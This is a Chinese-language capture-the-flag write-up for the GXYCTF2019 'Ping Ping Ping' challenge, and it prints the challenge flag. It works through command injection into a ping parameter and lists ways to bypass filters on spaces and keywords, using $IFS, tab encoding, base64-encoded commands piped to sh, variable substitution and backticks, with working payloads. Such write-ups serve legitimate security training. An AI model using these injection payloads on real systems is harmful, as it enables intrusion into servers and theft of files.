[GXYCTF2019]Ping Ping Ping 1
进入页面发现提示
应该是命令执行
可以使用| & ;
等方法绕过
尝试查看当前目录下的文件
?ip=127.0.0.1|ls
发现拥有flag.php和index.php
两个文件
尝试使用cat查看flag.php的内容
这里看到空格被过滤了,去网上找了很多绕过空格的方法,总结一下
$IFS
${IFS}
$IFS$1
$IFS$2 ... $IFS$9
<
<>
{cat flag.php}
%20
%09
%0a
ca\t fla\g.php
shell可以模糊匹配,例如查看flag.php
cat fla*
cat fl*.php
类似cat
查看文件内容的命令有
cat
tac 反向查看
more
less
#IFS$1绕过空格
回过来,经过尝试,可以使用$IFS$1
这种方法绕过空格
但是有提示不可以使用flag
关键字
base64加密得到flag
可以使用echo "cat flag.php" | base64
使用base64加密cat flag.php的命令
例如
将空格替换为$IFS$1
payload:
echo$IFS$1Y2F0IGZsYWcucGhwCg==|base64$IFS$1-d|sh
执行后页面好像没有flag,查看源代码得到flag
flag{8642cb35-c77f-41cc-a89e-3c068c5fa613}
变量替换方法得到flag
shell中是可以设置变量的
例如
shell中;
代表依次执行每一条语句
payload
a=g;cat$IFS$1fla$a.php
内联执行方法
这个我也是新学到的特殊用法
shell会将``中返回值当做命令输入执行
例如:
payload:
cat$IFS$1`ls`
得到flag
通过返回结果,可以看出这里过滤了很多的特殊字符
例如:&、*、?、>
,还过滤了空格,bash和flag。不过这里我们已经绕过了。